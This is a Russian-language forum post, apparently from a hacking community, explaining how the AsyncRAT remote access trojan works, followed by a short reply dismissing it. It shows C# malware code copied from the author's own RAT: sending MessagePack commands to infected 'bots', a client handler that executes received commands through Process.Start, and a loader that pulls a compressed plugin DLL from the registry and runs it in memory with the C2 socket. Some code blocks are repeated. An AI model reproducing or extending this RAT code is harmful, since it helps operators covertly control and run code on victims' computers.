всем привет, начнем с того как работает ратник буду объяснять на примере (async rat) у данного ратника есть сервер (панель) затем listview при созданий item мы в Tag пихаем экземпляр класса client (наш сокет с клиентом(ботом,юзером,зомби)) для того чтобы отправить команды ратник использует MessagePack в который мы можем поместить команды байты и тп чтобы выбрать пользователя ратник получает выбранные нами теги то есть selected item и получает тег как объект класса client затем вызывает метод client.send(msgpack.Encode2Bytes()); данный метод отправляет byte[] клиенту который их превращает в MessagePack и так как же использовать данный MessagePack //создаем экземпляр класса MessagePack MessagePack msgpack = new MessagePack(); //Pac_ket это название нашего объекта в который мы помещаем все что угодно значение стринг или байты msgpack.ForcePathObject("Pac_ket").SetAsString("cmd"); //cmd это команда для нашего заголовка то есть ратник считывает что в Pac_ket и через switch открывает наши заголовки msgpack.ForcePathObject("command").SetAsString("start cmd.exe"); //на стороне клиента при получений сообщения выглядит так if(msgpack.ForcePathObject("Pac_ket").GetString()=="cmd"){ Process.Start(msgpack.ForcePathObject("command").GetString()); //думаю тут понятно как оно работает } Код //создаем экземпляр класса MessagePack MessagePack msgpack = new MessagePack(); //Pac_ket это название нашего объекта в который мы помещаем все что угодно значение стринг или байты msgpack.ForcePathObject("Pac_ket").SetAsString("cmd"); //cmd это команда для нашего заголовка то есть ратник считывает что в Pac_ket и через switch открывает наши заголовки msgpack.ForcePathObject("command").SetAsString("start cmd.exe"); //на стороне клиента при получений сообщения выглядит так if(msgpack.ForcePathObject("Pac_ket").GetString()=="cmd"){ Process.Start(msgpack.ForcePathObject("command").GetString()); //думаю тут понятно как оно работает } у ратника есть плагины которые он запускает в runpe и передает ему байты msgpack который плагин уже обрабатывает private static void Invoke(MsgPack unpack_msgpack) { Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("DLL").AsString))); Type type = assembly.GetType("Plugin.Plugin"); //Plugin это класс и namespace dynamic instance = Activator.CreateInstance(type); //instance.Run() название нашего метода который должен быть не статичным в него мы суем аргументы которые должны быть в плагине и так же через MessagePack мы толкаем туда байты такого же экземпляра MessagePack который он уже обработает толкаем сокет с которым он будет подключен чтобы получать команды instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("MessagePack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BSOD, Settings.Install); Received(); } //этот кусок кода скопировал у себя с ратки //пример как выглядит плагин namespace Plugin { public class Plugin { public static Socket Socket; //тут мы видим наши аргументы которые мы передовали public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install) { Debug.WriteLine("Plugin Invoked"); Socket = socket; Connection.ServerCertificate = certificate; Connection.Hwid = hwid; new Thread(() => { //стартуем наш сокет Connection.InitializeClient(); }).Start(); //если нету подключения наш плагин просто завершает цикл while (Connection.IsConnected) { Thread.Sleep(1000); } } } } //ратка отправляет byte[] dll плагина и сохраняет их в реестре и от туда вытаскивает и запускает //в плагине есть класс Packet если вы зайдете туда вы поймете о чем я писал о switch C# private static void Invoke(MsgPack unpack_msgpack) { Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("DLL").AsString))); Type type = assembly.GetType("Plugin.Plugin"); //Plugin это класс и namespace dynamic instance = Activator.CreateInstance(type); //instance.Run() название нашего метода который должен быть не статичным в него мы суем аргументы которые должны быть в плагине и так же через MessagePack мы толкаем туда байты такого же экземпляра MessagePack который он уже обработает толкаем сокет с которым он будет подключен чтобы получать команды instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("MessagePack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BSOD, Settings.Install); Received(); } //этот кусок кода скопировал у себя с ратки //пример как выглядит плагин namespace Plugin { public class Plugin { public static Socket Socket; //тут мы видим наши аргументы которые мы передовали public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install) { Debug.WriteLine("Plugin Invoked"); Socket = socket; Connection.ServerCertificate = certificate; Connection.Hwid = hwid; new Thread(() => { //стартуем наш сокет Connection.InitializeClient(); }).Start(); //если нету подключения наш плагин просто завершает цикл while (Connection.IsConnected) { Thread.Sleep(1000); } } } } //ратка отправляет byte[] dll плагина и сохраняет их в реестре и от туда вытаскивает и запускает //в плагине есть класс Packet если вы зайдете туда вы поймете о чем я писал о switch потом может еще напишу об этом ратнике и как они работают покамись я вам рассказал об основе того как он передает инфу и плагины и как они работают тему писал на тяп ляп не судить строго
Тема бесполезна, ты ни о чем не рассказал. Все настолько плохо, что даже если убрать все твое сочинение и оставить только код, содержательность темы не изменится от слова совсем. Одним словом видно, что ты не разбираешься в теме